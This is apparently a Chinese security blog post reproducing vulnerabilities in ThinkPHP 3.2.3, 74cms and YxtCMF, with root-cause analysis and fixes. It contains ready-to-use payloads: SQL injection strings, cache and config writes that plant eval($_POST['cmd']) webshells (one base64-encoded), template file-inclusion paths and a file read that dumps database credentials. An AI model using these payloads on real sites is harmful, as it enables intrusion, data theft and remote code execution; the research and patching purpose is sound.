Thinkphp3漏洞

thinkphp3漏洞整理

0x01 thinkphp3.2.3 SQL注入

find/select/delete注入

  1. 环境:

    Apache2.4.39;php7.3.4; mysql5.7.26

    thinkphp3.2.3框架(开启debug)

    1
    2
    3
    4
    $data = M('users')->find(I('GET.id'));
    //$data = M('users')->select(I('GET.id'));
    // $res = M('user')->delete(I('GET.id'));
    var_dump($data);
  2. payload:

    针对find/select/delete方法:

    1
    ?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)#

    执行结果:

    image-20201224090349977


    针对table/alias/where方法:

    1
    2
    3
    4
    ?id[table]=user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
    ?id[alias]=where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
    ?id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
    ?id[alias]=where id=1 and 1--
  3. 漏洞成因

    I()函数:默认过滤方法为htmlspecialchars,使得<>变为html实体; 回调think_filter函数进行过滤

    find()函数:

    1
    $options   =   $this->_parseOptions($options);

​ 传入参数的值的顺序是id=1’ -> I() -> find() -> _parseOptions() -> _parseType()

​ 直接拼接了where里的内容,没有进行过滤。

  1. 漏洞修复:

    $options$this->options进行了区分,从而传入的参数无法污染到$this->options,无法控制sql语句。thinkphp3.2.4版本已修复。

exp注入

  1. 环境:

    Apache2.4.39;php7.3.4; mysql5.7.26

    thinkphp3.2.3框架(开启debug)

    1
    2
    3
    4
    5
    6
    7
    public function expsql(){
    $User = D('users');
    $map = array('user' => $_GET['user']);
    // $map = array('user' => I('user')); error
    $user = $User->where($map)->find();
    // var_dump($user);
    }
  2. payload:

    1
    exp:?user[0]=exp&user[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1);

    执行结果:

    image-20201224103612649

  3. 漏洞成因:

    find()->db->select()->buildSelectSql()->parseSql()->parseWhere()->parseWhereItem()

    parseWhereItem()

    1
    2
    3
    4
    5
    6
    7
    8
    is_array($val[1])
    /*

    */
    elseif('bind' == $exp ){ // 使用表达式
    $whereStr .= $key.' = :'.$val[1];
    }elseif('exp' == $exp ){ // 使用表达式
    $whereStr .= $key.' '.$val[1];

    where条件直接用.拼接,数组索引0的值为exp或者bind,索引1的值为传入的数据。

  4. 修复:

    使用I()函数接收传入的参数数据,I()会回调think_filter函数,在EXP后加上空格。

bind注入

  1. 环境:

    Apache2.4.39;php7.3.4; mysql5.7.26

    thinkphp3.2.3框架(开启debug)

    1
    2
    3
    4
    5
    $User = M("users");
    $user['user_id'] = I('id');
    $data['password'] = I('password');
    $value = $User->where($user)->save($data);
    var_dump($value);
  2. payload:

    1
    ?id[0]=bind&id[1]=0 and (updatexml(1,concat(0x7e,user(),0x7e),1))&password=123456

    运行结果:

    image-20201224135301757

  3. 漏洞成因:
    在parseWhereItem()函数中,拼接数组索引1的值时插入:

1
is_array($val[1])/**/elseif('bind' == $exp ){ // 使用表达式    $whereStr .= $key.' = :'.$val[1];}elseif('exp' == $exp ){ // 使用表达式    $whereStr .= $key.' '.$val[1];

在db->driver中

1
$this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));

这条语句执行后,将UPDATE users SET password=:0 WHERE user_id = :0 and (updatexml(1,concat(0x7e,user(),0x7e),1))

中的:0全部替换成$this->bind[‘:0’]=’123456’;

得到UPDATE users SET password=’123456’ WHERE user_id = ‘123456’ and (updatexml(1,concat(0x7e,user(),0x7e),1))

  1. 修复:

    在thinkphp_filter函数的匹配条件里加上bind。

0x02 thinkphp3.2.3 缓存 getshell

  1. 环境

    Apache2.4.39;php7.3.4; mysql5.7.26

    thinkphp3.2.3框架(开启debug)

    1
    数据缓存:$cache=I('post.cache');S('name',$cache);快速缓存F($name, $value='');
  2. payload:

    1
    cache=%0A%24a%3deval(%24_POST%5b%27cmd%27%5d)%3b%2f%2f

    将小马写入日志文件,通过绝对路径访问http://localhost/Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php,蚁剑连接。

    利用条件:

    • 需要得到缓存文件路径
    • 缓存内容可写可控,写入php代码
  3. 漏洞成因:

    缓存文件路径:/Application/Runtime/Temp/md5(缓存标识).php (32位小写)

    缓存内容可写可控,直接将php代码写入缓存。

  4. 修复:

    • 方法一 禁止访问/Runtime目录,添加.htaccess文件

      1
      <IfModule mod_rewrite.c> deny from all</IfModule>
    • 方法二 在/Think/Cache/Driver/File.class.php的set方法里对写入缓存的内容过滤换行符

      1
      $data = str_replace(PHP_EOL, '', $data);

      Windows下PHP_EOF相当于”\r\n” ,当payload只有%0D或者%0A时,过滤失败,可以写入小马,防止被注释。

      Linux环境下,给/Runtime/Temp加上写权限:PHP_EOF相当于”\n”,可以输入%0D换行符,输入小马,防止被注释。

0x03 thinkphp3.2.3 ssti漏洞

  1. 环境

    Apache2.4.39;php7.3.4;mysql5.7.26

    thinkphp3.2.3框架

    1
    <?phpnamespace Home\Controller;use Think\Controller;class TmptestController extends Controller {  public function index(){    //$this->assign('type',$type);    $this->display('Tmptest/'.I('get.type'));  }}
  2. 漏洞利用

    payload:

    1
    /index.php?m=Home&c=Tmptest&a=index&type=../favicon.ico

    上传小马文件,进行文件包含。

  3. 漏洞成因

    display函数的参数($templateFile=’’,$charset=’’,$contentType=’’,$content=’’,$prefix=’’),传入view->fetch(),

    当输入参数只有模板文件名,传入content参数为空时,会调用parseTemplate函数,只要存在$templateFile就返回true

    1
    if(is_file($template)) {	return $template;}

    默认是thinkphp自带的Think模板,执行以下代码

    1
    $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);Hook::listen('view_parse',$params);

    view_parse作为系统行为扩展中的模板解析,执行Behavior\ParseTemplateBehavior中的run函数,因为传入的content参数内容为空,执行以下代码

    1
    $tpl = Think::instance('Think\\Template');// 编译并加载模板文件$tpl->fetch($_content,$_data['var'],$_data['prefix']);

    接着执行Think:Template.class/fetch方法

    1
    public function fetch($templateFile,$templateVar,$prefix='') {  $this->tVar         =   $templateVar;  $templateCacheFile  =   $this->loadTemplate($templateFile,$prefix);  // 将文件内容写入一个缓存文件中  Storage::load($templateCacheFile,$this->tVar,null,'tpl');}

    其中缓存文件目录/Application/Runtime/Cache/Home,再加载load函数文件包含Cache文件

    1
    if(!is_null($vars)){   extract($vars, EXTR_OVERWRITE);}include $_filename;

    这中间没有对templateFile参数进行过滤,只是确定网站目录下是否存在这个文件,就会进行文件包含。只要是display的参数中$templateFile参数可控,可以进行文件包含。

    • display函数

      只能控制template文件名,进行文件包含

    • fetch函数

      1
      $content = $this->fetch('1.php',$_GET['type'],'','');var_dump($content);

      需要将结果输出,才能看到结果,同时content参数可控,写入php代码,// 也可以文件包含,但是包含的文件里得有

      payload:

      1
      type=<php> phpinfo();</php> 或者<?php phpinfo();
    • 虽然禁止访问Common模块,但还是可以直接访问Common模块下控制器里的方法,index.php?a=xxxx

    • program data >> php buffer >> tcp buffer >> client

0x04 74cms

  1. 环境

    Apache2.4.39;php5.3.29; mysql5.7.26

    74cms_Home_Setup_v5.0.1 thinkphp3.2.3框架

  2. 后台地址:http://74cms501.com/index.php?m=admin&c=index&a=login

后台getshell

  1. 影响范围:74CMS_v5.0.1

  2. 利用条件

    • 拿到后台管理员账号密码
  3. 漏洞利用

    登录后台,修改网站配置,用burpsuite抓包,修改site_domain的值为site_domain=’,file_put_contents(‘403.php’,base64_decode(‘PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==’)),’

    (前后加单引号是为了闭合字符串前后所加的单引号)

    get访问GET /Application/Common/Conf/url.php,触发代码,在/Application/Common/Conf目录下,写入403.php,内容为

    连接/Application/Common/Conf/403.php

  4. 漏洞成因

    对输入的site_domain数据没有进行过滤,执行以下代码,将内容写入到/Application/Common/Conf/url.php文件中,恶意代码执行。

    1
    $this->update_config($config,CONF_PATH.'url.php');

    update_config函数

    1
    file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX);

    去除反斜杠,不影响写入payload。

后台getshell第二种

  1. 环境

    74CMS_v5.0.1

  2. 利用条件

    得到管理员账户密码,登录后台

  3. payload

    1
    /index.php?m=admin&c=tpl&a=set&tpl_dir=a'.${eval($_POST[2])}.'

    小马地址:/Application/Home/Conf/config.php

    image-20201225141408959

  4. 漏洞成因

    tpl->set()->/Common/BackendController(后台控制器基类)->update_config()

    1
    $this->update_config(array('DEFAULT_THEME'=>$tpl_dir));

    在update_config()方法里,默认是往/Home/Conf/config.php文件里写配置信息,stripslashes()函数会删去传入参数中的反斜杠,导致可以向配置文件里写入恶意代码。与第一种方法一样,也是调用update_config()函数。

SSTI漏洞

  1. 环境

    Apache2.4.39;php5.6.9; mysql5.7.26

    74cms_Home_Setup_v5.0.1(5.0.1版本已经对这个漏洞进行修复) thinkphp3.2.3框架

  2. 影响范围

    4.0.0 ~ 4.1.24

  3. 漏洞修复

    • 新版本里,在/Home/Controller/MController/index,下
1
public function index(){   if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){           redirect(build_mobile_url());   }       $type = I('get.type','android','trim');    // 以下三行代码是加入的补丁       if(!in_array($type, array('ios','android','touch','weixin'))){           $this->error('参数错误!');       }       $this->assign('type',$type);       $this->display('M/'.$type);   }

对传入的type参数进行白名单过滤。在上传文件后,不会返回文件存储的路径和替换后的文件名。

  1. 漏洞利用(删去加入的补丁)

    测试是否能够包含文件

    1
    /index.php?m=&c=M&a=index&type=../favicon.ico

    上传一个内容符合ThinkPHP模板格式的文件,再在type值里输入文件的地址,文件包含成功。

    image-20201227171503620

    回显

    {“status”:1,”msg”:”\u4e0a\u4f20\u6210\u529f\uff01”,”data”:{“name”:”Doc1.docx”,”path”:”/index.php?m=&c=download&a=word_resume&id=1”,”time”:”2020-12-27 17:15”},”dialog”:””}

    5.0.1的版本下,不会返回上传文件的路径,但是在这个漏洞的影响范围的版本里,会直接返回文件的路径和替换后的文件名。

    文件上传的路径是../data/upload/word_resume/2012/27/5fe850b5aa158.docx,

    payload:

    1
    /index.php?m=&c=M&a=index&type=../data/upload/word_resume/2012/27/5fe850b5aa158.docx

    文件包含成功。

  2. 漏洞成因

    在/Home/Controller/MController/index,对传入的type参数的值没有进行过滤,直接通过display方法进行调用;

    在display()里,调用fetch()获取模板内容,当输入参数只有模板文件名时,会调用parseTemplate()来自动定位模板文件,当文件存在时,就直接返回文件的路径,可以直接进行包含。具体见thinkphp3.2.3 ssti漏洞,两个原理一样。


4.*版本前台SQL注入(复现失败)

  1. 环境

    Apache2.4.39;php5.6.9; mysql5.7.26

    74cms_Home_Setup_v4.2.111 (thinkphp3.2.3框架)

    与74cmsv5.0.1 前台sql注入原理一样

    参考:https://xz.aliyun.com/t/3715


任意文件读取漏洞

  1. 环境

    Apache2.4.39;php5.6.9; mysql8.0.12

    74cms_Home_Setup_v4.2.111 (thinkphp3.2.3框架)

  2. 漏洞范围:<=74cms v4.2.126

  3. 漏洞利用

    [74cms_file_read.php]:

    运行此脚本,读取数据库配置文件,得到连接数据库信息

    1
    ----------- url ------------ http://74cms.4.2.111.com:65521//data/upload/avatar/2012/28/9b25e331cdffab7adf76ece9b5a01533.jpg----------- data ------------ <?php return array ( 'DB_TYPE'=> 'mysql', 'DB_HOST'=> '127.0.0.1', 'DB_NAME'=> '74cms2', 'DB_USER'=> '74cms2', 'DB_PWD'=> '123456', 'DB_PORT'=> '0', 'DB_PREFIX'=> 'qs_', 'DB_CHARSET'=> 'utf8' );
  4. 漏洞成因

    在/Home/Controller/MembersController/_save_avatar()方法里,使用copy($path, $filename); 将某一路径下的文件内容复制到另一个文件里,这两个参数都由外部输入确定,可以控制。其中,图片文件名是当前时间的md5值,所以需要用脚本来实现。

    有两个地方调用了_save_avatar()方法,

    • /Home/Controller/MembersController/register()会员注册的临时头像转换处:

    里面有两个参数,cookie中的members_bind_info[temp_avatar]和members_uc_info[uid]

    • /Home/Controller/MembersController/oauth_reg()第三方登录注册。

v5.0.1 前台sql注入

  1. 环境

    Apache2.4.39;php5.6.9; mysql8.0.12

    74cms_Home_Setup_v5.0.1 (thinkphp3.2.3框架)

  2. 漏洞利用

    条件:普通用户

    payload:

    1
    /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) -- a

    image-20201228165121846

  3. 漏洞成因

    在/Application/Home/Controller/AjaxPersonalController中,调用了add_focus()方法,在这个方法里调用了check_focus()方法,这个方法里返回

    1
    return $this->where(array('company_id'=>$company_id,'uid'=>$uid))->find();

    对传入where的参数没有进行过滤。company_focus 方法是参数化函数,$company_id参数是不经过I函数过滤的,所以只要where可以控制,就可以直接控制。

    参考:https://xz.aliyun.com/t/3715

0x05 易学堂yxtcmf

  1. 后台地址:?g=admin&m=public&a=login

  2. 复现

    1. 数据库Sql_mode配置不对,有两个数据表导入失败。

      Sql文件里的edu_posts表导入失败:

      在创建表的语句最前面加上

      1
      SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";SET AUTOCOMMIT = 0;START TRANSACTION;SET time_zone = "+00:00";

      再执行。

      参考链接https://wordpress.stackexchange.com/questions/263989/1067-invalid-default-value-for-post-date-when-trying-to-reset-ai-after-ba

    2. edu_comments创建失败,#1067 - Invalid default value for ‘createtime’,同上。

    3. 安装过程中,管理员用户创建失败,手动创建。

  3. 环境

    YxtCMF_v6.1,Apache2.4.39,php7.3.4,mysql5.7.26

  4. 漏洞利用&成因

    1. 利用条件:登录后台

      在后台网站信息,修改网站配置,

    image-20201229153711429

    ​ 数据处理过程,/Admin/SettingController/site_post()方法里调用sp_set_dynamic_config()函数来更新系统配置,

    ​ 这里有S(“sp_dynamic_config”,$configs); 将系统配置更新以后调用S函数,写入缓存,对传入的数据没有进行检测过滤,缓存路径是/data/runtime/Temp/文件下,因为是thinkphp3框架,缓存文件名是缓存标识的md5值。

    ​ payload:

    1
    options[dianboIsOpen]=%0Deval($_POST['cmd']);//
         写入小马,蚁剑连接。
    
    1. 全局搜索sp_set_dynamic_config()函数

      在/api/OauthController里定义了一个injectionAuthocode()函数

      1
      function injectionAuthocode(){  $postdata=I('post.');  $configs["authoCode"]=$postdata['authoCode'];  sp_set_dynamic_config($configs);}

      post payload:

      1
      POST /index.php/api/Oauth/injectionAuthocode HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedCache: no-cacheOrigin: moz-extension://10e8cf44-a604-4e95-9072-97d92e7155a8Content-Length: 35Connection: closeCookie: Phpstorm-f6cf02a6=9a875c43-7949-416b-82cb-494fd70e5ab5; admin_username=admin; PHPSESSID=hiu2gnvo9kbkbkrqn5n8ghjfo0authoCode=%0Deval($_POST['cmd']);//
      1
      authoCode=%0Deval($_POST['cmd']);//

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!